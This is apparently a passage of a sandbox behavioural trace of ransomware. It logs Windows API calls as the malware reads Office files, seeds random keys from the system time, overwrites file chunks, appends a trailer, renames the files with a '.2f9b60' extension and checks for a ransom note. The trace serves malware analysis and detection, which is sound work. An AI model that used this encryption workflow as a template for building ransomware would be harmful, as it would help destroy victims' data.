IoStatusBlock=0x2a5bfdd8, FileInformation=0x2a5bfde8) returned 0x0 [0145.439] NtSetInformationFile (FileHandle=0x1b1c, IoStatusBlock=0x2a5bfdd8, FileInformation=0x2a5bfde8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0145.454] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8627d0) returned 1 [0145.454] FlushFileBuffers (hFile=0x1b1c) returned 1 [0145.991] CloseHandle (hObject=0x1b1c) returned 1 [0146.010] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x1ce10c60 [0146.010] wcscpy (in: _Dest=0x1ce10c60, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\" [0146.010] wcscat (in: _Dest=0x1ce10c60, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\2F9B60-Readme.txt" [0146.010] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\2f9b60-readme.txt")) returned 0x20 [0147.226] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce10c60) returned 1 [0147.226] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027a330) returned 1 Thread: id = 1829 os_tid = 0xd8c [0132.844] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\InformationIcon.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\informationicon.jpg")) returned 0x20 [0134.116] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\InformationIcon.jpg", dwFileAttributes=0x20) returned 1 [0136.156] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\InformationIcon.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\informationicon.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1eac [0138.411] GetFileSizeEx (in: hFile=0x1eac, lpFileSize=0x2a22f840 | out: lpFileSize=0x2a22f840*=3045) returned 1 [0138.411] SetFilePointerEx (in: hFile=0x1eac, liDistanceToMove=0xbe1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.411] ReadFile (in: hFile=0x1eac, lpBuffer=0x2a22f7c0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2a22f808, lpOverlapped=0x0 | out: lpBuffer=0x2a22f7c0*, lpNumberOfBytesRead=0x2a22f808*=0x4, lpOverlapped=0x0) returned 1 [0138.413] SetFilePointerEx (in: hFile=0x1eac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.413] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a3b0 [0138.414] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a140 [0138.414] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a1d0 [0138.414] NtQuerySystemTime (in: CurrentTime=0x2a22f700 | out: CurrentTime=0x2a22f700*=132462177436522000) returned 0x0 [0138.414] RtlRandomEx (in: Seed=0x2a22f6f0 | out: Seed=0x2a22f6f0) returned 0x1595ca6 [0138.414] RtlRandomEx (in: Seed=0x2a22f6f0 | out: Seed=0x2a22f6f0) returned 0x7e9dbcb2 [0138.414] RtlRandomEx (in: Seed=0x2a22f6f0 | out: Seed=0x2a22f6f0) returned 0x7d987220 [0138.414] RtlRandomEx (in: Seed=0x2a22f6f0 | out: Seed=0x2a22f6f0) returned 0x1ada6bfc [0138.414] RtlRandomEx (in: Seed=0x2a22f6f0 | out: Seed=0x2a22f6f0) returned 0x589a72c7 [0138.414] RtlRandomEx (in: Seed=0x2a22f6f0 | out: Seed=0x2a22f6f0) returned 0x1827961e [0138.414] RtlRandomEx (in: Seed=0x2a22f6f0 | out: Seed=0x2a22f6f0) returned 0x4cc1a368 [0138.414] RtlRandomEx (in: Seed=0x2a22f6f0 | out: Seed=0x2a22f6f0) returned 0x7610bc10 [0138.414] RtlRandomEx (in: Seed=0x2a22f6f0 | out: Seed=0x2a22f6f0) returned 0x48299a37 [0138.414] RtlRandomEx (in: Seed=0x2a22f6f0 | out: Seed=0x2a22f6f0) returned 0x820c75b [0138.414] RtlRandomEx (in: Seed=0x2a22f6f0 | out: Seed=0x2a22f6f0) returned 0x6b38bcd0 [0138.414] RtlRandomEx (in: Seed=0x2a22f6f0 | out: Seed=0x2a22f6f0) returned 0x3f8c66b0 [0138.414] RtlRandomEx (in: Seed=0x2a22f6f0 | out: Seed=0x2a22f6f0) returned 0x54dcec57 [0138.414] RtlRandomEx (in: Seed=0x2a22f6f0 | out: Seed=0x2a22f6f0) returned 0x25f4bba9 [0138.414] RtlRandomEx (in: Seed=0x2a22f6f0 | out: Seed=0x2a22f6f0) returned 0x679b22ee [0138.414] RtlRandomEx (in: Seed=0x2a22f6f0 | out: Seed=0x2a22f6f0) returned 0x1de43cc4 [0138.414] RtlRandomEx (in: Seed=0x2a22f6f0 | out: Seed=0x2a22f6f0) returned 0x6b09b402 [0138.414] RtlRandomEx (in: Seed=0x2a22f6f0 | out: Seed=0x2a22f6f0) returned 0x4179e6d2 [0138.414] RtlRandomEx (in: Seed=0x2a22f6f0 | out: Seed=0x2a22f6f0) returned 0x1d43f68a [0138.414] RtlRandomEx (in: Seed=0x2a22f6f0 | out: Seed=0x2a22f6f0) returned 0x719afe17 [0138.414] RtlRandomEx (in: Seed=0x2a22f6f0 | out: Seed=0x2a22f6f0) returned 0x336f3b62 [0138.414] RtlRandomEx (in: Seed=0x2a22f6f0 | out: Seed=0x2a22f6f0) returned 0x19e8c63c [0138.415] RtlRandomEx (in: Seed=0x2a22f6f0 | out: Seed=0x2a22f6f0) returned 0x33cefc4b [0138.415] RtlRandomEx (in: Seed=0x2a22f6f0 | out: Seed=0x2a22f6f0) returned 0x2dcc20c4 [0138.415] RtlRandomEx (in: Seed=0x2a22f6f0 | out: Seed=0x2a22f6f0) returned 0x5cff11fb [0138.415] RtlRandomEx (in: Seed=0x2a22f6f0 | out: Seed=0x2a22f6f0) returned 0x4523edb9 [0138.415] RtlRandomEx (in: Seed=0x2a22f6f0 | out: Seed=0x2a22f6f0) returned 0x1ca46808 [0138.415] RtlRandomEx (in: Seed=0x2a22f6f0 | out: Seed=0x2a22f6f0) returned 0x494195e3 [0138.415] RtlRandomEx (in: Seed=0x2a22f6f0 | out: Seed=0x2a22f6f0) returned 0x69faa6c0 [0138.415] RtlRandomEx (in: Seed=0x2a22f6f0 | out: Seed=0x2a22f6f0) returned 0x32d2c693 [0138.415] RtlRandomEx (in: Seed=0x2a22f6f0 | out: Seed=0x2a22f6f0) returned 0x1f145b89 [0138.415] RtlRandomEx (in: Seed=0x2a22f6f0 | out: Seed=0x2a22f6f0) returned 0x3701b801 [0138.424] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a170 [0138.424] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061030 [0138.424] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a530 [0138.424] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061030) returned 1 [0138.424] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a1d0) returned 1 [0138.425] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a3b0) returned 1 [0138.425] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97850 [0138.425] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061030 [0138.425] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a3b0 [0138.425] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a3b0) returned 1 [0138.425] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42076d10 [0138.425] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4207a920 [0138.425] ReadFile (in: hFile=0x1eac, lpBuffer=0x42076d10, nNumberOfBytesToRead=0xbe5, lpNumberOfBytesRead=0x2a22f6f0, lpOverlapped=0x0 | out: lpBuffer=0x42076d10*, lpNumberOfBytesRead=0x2a22f6f0*=0xbe5, lpOverlapped=0x0) returned 1 [0138.425] SetFilePointerEx (in: hFile=0x1eac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.425] WriteFile (in: hFile=0x1eac, lpBuffer=0x4207a920*, nNumberOfBytesToWrite=0xbe5, lpNumberOfBytesWritten=0x2a22f6f4, lpOverlapped=0x0 | out: lpBuffer=0x4207a920*, lpNumberOfBytesWritten=0x2a22f6f4*=0xbe5, lpOverlapped=0x0) returned 1 [0166.145] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a1c70 [0166.146] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a1c40 [0166.146] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a1c40) returned 1 [0166.146] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4207a920) returned 1 [0166.146] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42076d10) returned 1 [0166.147] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061030) returned 1 [0166.147] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97850) returned 1 [0166.147] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x34) returned 0x1cd9ef70 [0166.147] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97850 [0166.147] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061030 [0166.147] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a1c40 [0166.148] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a1c40) returned 1 [0166.148] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x34) returned 0x1cda06f0 [0166.148] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a1c40 [0166.148] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a1b20 [0166.149] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a1b20) returned 1 [0166.149] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061030) returned 1 [0166.149] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97850) returned 1 [0166.149] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x118) returned 0x1ce138b0 [0166.149] SetFilePointerEx (in: hFile=0x1eac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0166.149] WriteFile (in: hFile=0x1eac, lpBuffer=0x1ce138b0*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x2a22f810, lpOverlapped=0x0 | out: lpBuffer=0x1ce138b0*, lpNumberOfBytesWritten=0x2a22f810*=0x118, lpOverlapped=0x0) returned 1 [0200.082] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce138b0) returned 1 [0200.083] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cda06f0) returned 1 [0200.083] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a1c40) returned 1 [0200.085] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9ef70) returned 1 [0200.085] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a1c70) returned 1 [0200.086] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a140) returned 1 [0200.087] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a170) returned 1 [0200.087] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a530) returned 1 [0200.087] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x431ecf60 [0200.087] wcscpy (in: _Dest=0x431ecf60, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\InformationIcon.jpg" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\InformationIcon.jpg") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\InformationIcon.jpg" [0200.087] wcscat (in: _Dest=0x431ecf60, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\InformationIcon.jpg.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\InformationIcon.jpg.2f9b60" [0200.087] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\InformationIcon.jpg.2f9b60", NtPathName=0x2a22f830, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\InformationIcon.jpg.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0200.088] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xca) returned 0x1cecfe80 [0223.945] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cecfe80) returned 1 [0223.945] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f6b80) returned 1 [0223.945] NtQueryInformationFile (in: FileHandle=0x1eac, IoStatusBlock=0x2a22f898, FileInformation=0x2a22f8a8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2a22f898, FileInformation=0x2a22f8a8) returned 0x0 [0223.945] NtSetInformationFile (FileHandle=0x1eac, IoStatusBlock=0x2a22f898, FileInformation=0x2a22f8a8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0225.068] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431ecf60) returned 1 [0225.068] FlushFileBuffers (hFile=0x1eac) returned 1 [0225.070] CloseHandle (hObject=0x1eac) returned 1 [0225.477] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x202ac8f0 [0225.477] wcscpy (in: _Dest=0x202ac8f0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\" [0225.477] wcscat (in: _Dest=0x202ac8f0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\2F9B60-Readme.txt" [0225.478] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\2f9b60-readme.txt")) returned 0x20 [0225.478] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ac8f0) returned 1 [0225.479] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202acdc0) returned 1 Thread: id = 1830 os_tid = 0xf24 [0132.852] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Library\\SOLVER\\SOLVER.XLAM" (normalized: "c:\\program files\\microsoft office\\office14\\library\\solver\\solver.xlam")) returned 0x20 [0133.794] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Library\\SOLVER\\SOLVER.XLAM", dwFileAttributes=0x20) returned 1 [0135.434] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Library\\SOLVER\\SOLVER.XLAM" (normalized: "c:\\program files\\microsoft office\\office14\\library\\solver\\solver.xlam"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1cb0 [0135.693] GetFileSizeEx (in: hFile=0x1cb0, lpFileSize=0x2a51fc60 | out: lpFileSize=0x2a51fc60*=443200) returned 1 [0135.693] SetFilePointerEx (in: hFile=0x1cb0, liDistanceToMove=0x6c33c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.693] ReadFile (in: hFile=0x1cb0, lpBuffer=0x2a51fbe0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2a51fc28, lpOverlapped=0x0 | out: lpBuffer=0x2a51fbe0*, lpNumberOfBytesRead=0x2a51fc28*=0x4, lpOverlapped=0x0) returned 1 [0135.717] SetFilePointerEx (in: hFile=0x1cb0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.717] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20268010 [0135.717] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267c20 [0135.717] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267980 [0135.717] NtQuerySystemTime (in: CurrentTime=0x2a51fb20 | out: CurrentTime=0x2a51fb20*=132462177409534000) returned 0x0 [0135.717] RtlRandomEx (in: Seed=0x2a51fb10 | out: Seed=0x2a51fb10) returned 0x4eb22f0 [0135.717] RtlRandomEx (in: Seed=0x2a51fb10 | out: Seed=0x2a51fb10) returned 0x65345556 [0135.717] RtlRandomEx (in: Seed=0x2a51fb10 | out: Seed=0x2a51fb10) returned 0x6a377ad0 [0135.717] RtlRandomEx (in: Seed=0x2a51fb10 | out: Seed=0x2a51fb10) returned 0x6f5f4b86 [0135.717] RtlRandomEx (in: Seed=0x2a51fb10 | out: Seed=0x2a51fb10) returned 0x479ccc71 [0135.717] RtlRandomEx (in: Seed=0x2a51fb10 | out: Seed=0x2a51fb10) returned 0x33b90483 [0135.717] RtlRandomEx (in: Seed=0x2a51fb10 | out: Seed=0x2a51fb10) returned 0x7f6c1a46 [0135.717] RtlRandomEx (in: Seed=0x2a51fb10 | out: Seed=0x2a51fb10) returned 0x23f76484 [0135.717] RtlRandomEx (in: Seed=0x2a51fb10 | out: Seed=0x2a51fb10) returned 0x24b777d2 [0135.717] RtlRandomEx (in: Seed=0x2a51fb10 | out: Seed=0x2a51fb10) returned 0x2fbb3f50 [0135.717] RtlRandomEx (in: Seed=0x2a51fb10 | out: Seed=0x2a51fb10) returned 0x4a3981c1 [0135.717] RtlRandomEx (in: Seed=0x2a51fb10 | out: Seed=0x2a51fb10) returned 0x4e083fd8 [0135.717] RtlRandomEx (in: Seed=0x2a51fb10 | out: Seed=0x2a51fb10) returned 0x3110e67f [0135.717] RtlRandomEx (in: Seed=0x2a51fb10 | out: Seed=0x2a51fb10) returned 0x78019364 [0135.718] RtlRandomEx (in: Seed=0x2a51fb10 | out: Seed=0x2a51fb10) returned 0x540e89e7 [0135.718] RtlRandomEx (in: Seed=0x2a51fb10 | out: Seed=0x2a51fb10) returned 0xd33b7c0 [0135.718] RtlRandomEx (in: Seed=0x2a51fb10 | out: Seed=0x2a51fb10) returned 0x4283845c [0135.718] RtlRandomEx (in: Seed=0x2a51fb10 | out: Seed=0x2a51fb10) returned 0x6feeed96 [0135.718] RtlRandomEx (in: Seed=0x2a51fb10 | out: Seed=0x2a51fb10) returned 0x39853e82 [0135.718] RtlRandomEx (in: Seed=0x2a51fb10 | out: Seed=0x2a51fb10) returned 0x3216d047 [0135.718] RtlRandomEx (in: Seed=0x2a51fb10 | out: Seed=0x2a51fb10) returned 0x5a39e16 [0135.718] RtlRandomEx (in: Seed=0x2a51fb10 | out: Seed=0x2a51fb10) returned 0x711860cc [0135.718] RtlRandomEx (in: Seed=0x2a51fb10 | out: Seed=0x2a51fb10) returned 0x4d060795 [0135.718] RtlRandomEx (in: Seed=0x2a51fb10 | out: Seed=0x2a51fb10) returned 0x3f0eacb2 [0135.718] RtlRandomEx (in: Seed=0x2a51fb10 | out: Seed=0x2a51fb10) returned 0x14efc817 [0135.718] RtlRandomEx (in: Seed=0x2a51fb10 | out: Seed=0x2a51fb10) returned 0x443abd0d [0135.718] RtlRandomEx (in: Seed=0x2a51fb10 | out: Seed=0x2a51fb10) returned 0x21334b28 [0135.718] RtlRandomEx (in: Seed=0x2a51fb10 | out: Seed=0x2a51fb10) returned 0x172e901c [0135.718] RtlRandomEx (in: Seed=0x2a51fb10 | out: Seed=0x2a51fb10) returned 0x45d2bf17 [0135.718] RtlRandomEx (in: Seed=0x2a51fb10 | out: Seed=0x2a51fb10) returned 0x6e377448 [0135.718] RtlRandomEx (in: Seed=0x2a51fb10 | out: Seed=0x2a51fb10) returned 0x22aabf86 [0135.718] RtlRandomEx (in: Seed=0x2a51fb10 | out: Seed=0x2a51fb10) returned 0x152dabca [0135.729] SetFilePointerEx (in: hFile=0x1cb0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.729] ReadFile (in: hFile=0x1cb0, lpBuffer=0x41cd78d0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2a51fb80, lpOverlapped=0x0 | out: lpBuffer=0x41cd78d0*, lpNumberOfBytesRead=0x2a51fb80*=0x3c00, lpOverlapped=0x0) returned 1 [0135.837] SetFilePointerEx (in: hFile=0x1cb0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.837] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97c10 [0135.837] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867c40 [0135.837] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202677d0 [0135.838] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202677d0) returned 1 [0135.838] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x203a0910 [0135.838] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202677d0 [0135.838] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267a70 [0135.838] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267a70) returned 1 [0135.838] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867c40) returned 1 [0135.839] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97c10) returned 1 [0135.839] WriteFile (hFile=0x1cb0, lpBuffer=0x203a0910, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2a51fb80, lpOverlapped=0x0) [0172.968] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x203a0910) returned 1 [0172.968] SetFilePointerEx (in: hFile=0x1cb0, liDistanceToMove=0x38400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.968] ReadFile (in: hFile=0x1cb0, lpBuffer=0x41cd78d0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2a51fb80, lpOverlapped=0x0 | out: lpBuffer=0x41cd78d0*, lpNumberOfBytesRead=0x2a51fb80*=0x3c00, lpOverlapped=0x0) returned 1 [0173.043] SetFilePointerEx (in: hFile=0x1cb0, liDistanceToMove=0x38400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.043] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059470 [0173.043] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20505110 [0173.044] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f37c0 [0173.044] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f37c0) returned 1 [0173.044] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42216d10 [0173.045] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f37c0 [0173.045] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3790 [0173.045] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3790) returned 1 [0173.046] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20505110) returned 1 [0173.046] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059470) returned 1 [0173.046] WriteFile (in: hFile=0x1cb0, lpBuffer=0x42216d10*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2a51fb80, lpOverlapped=0x0 | out: lpBuffer=0x42216d10*, lpNumberOfBytesWritten=0x2a51fb80*=0x3c00, lpOverlapped=0x0) returned 1 [0187.195] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42216d10) returned 1 [0187.196] SetFilePointerEx (in: hFile=0x1cb0, liDistanceToMove=0x68740, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.196] ReadFile (in: hFile=0x1cb0, lpBuffer=0x41cd78d0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2a51fb80, lpOverlapped=0x0 | out: lpBuffer=0x41cd78d0*, lpNumberOfBytesRead=0x2a51fb80*=0x3c00, lpOverlapped=0x0) returned 1 [0190.615] SetFilePointerEx (in: hFile=0x1cb0, liDistanceToMove=0x68740, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.615] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c0d0 [0190.615] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420607b0 [0190.616] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43138ec0 [0190.616] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43138ec0) returned 1 [0190.617] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x429809e0 [0190.618] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43138ec0 [0190.618] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43138ef0 [0190.619] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43138ef0) returned 1 [0190.619] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420607b0) returned 1 [0190.619] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c0d0) returned 1 [0190.620] WriteFile (in: hFile=0x1cb0, lpBuffer=0x429809e0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2a51fb80, lpOverlapped=0x0 | out: lpBuffer=0x429809e0*, lpNumberOfBytesWritten=0x2a51fb80*=0x3c00, lpOverlapped=0x0) returned 1 [0205.371] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x429809e0) returned 1 [0205.371] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x4319fc90 [0205.372] SetFilePointerEx (in: hFile=0x1cb0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0205.372] WriteFile (in: hFile=0x1cb0, lpBuffer=0x1cebd930*, nNumberOfBytesToWrite=0x148, lpNumberOfBytesWritten=0x2a51fc30, lpOverlapped=0x0 | out: lpBuffer=0x1cebd930*, lpNumberOfBytesWritten=0x2a51fc30*=0x148, lpOverlapped=0x0) returned 1 [0208.783] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 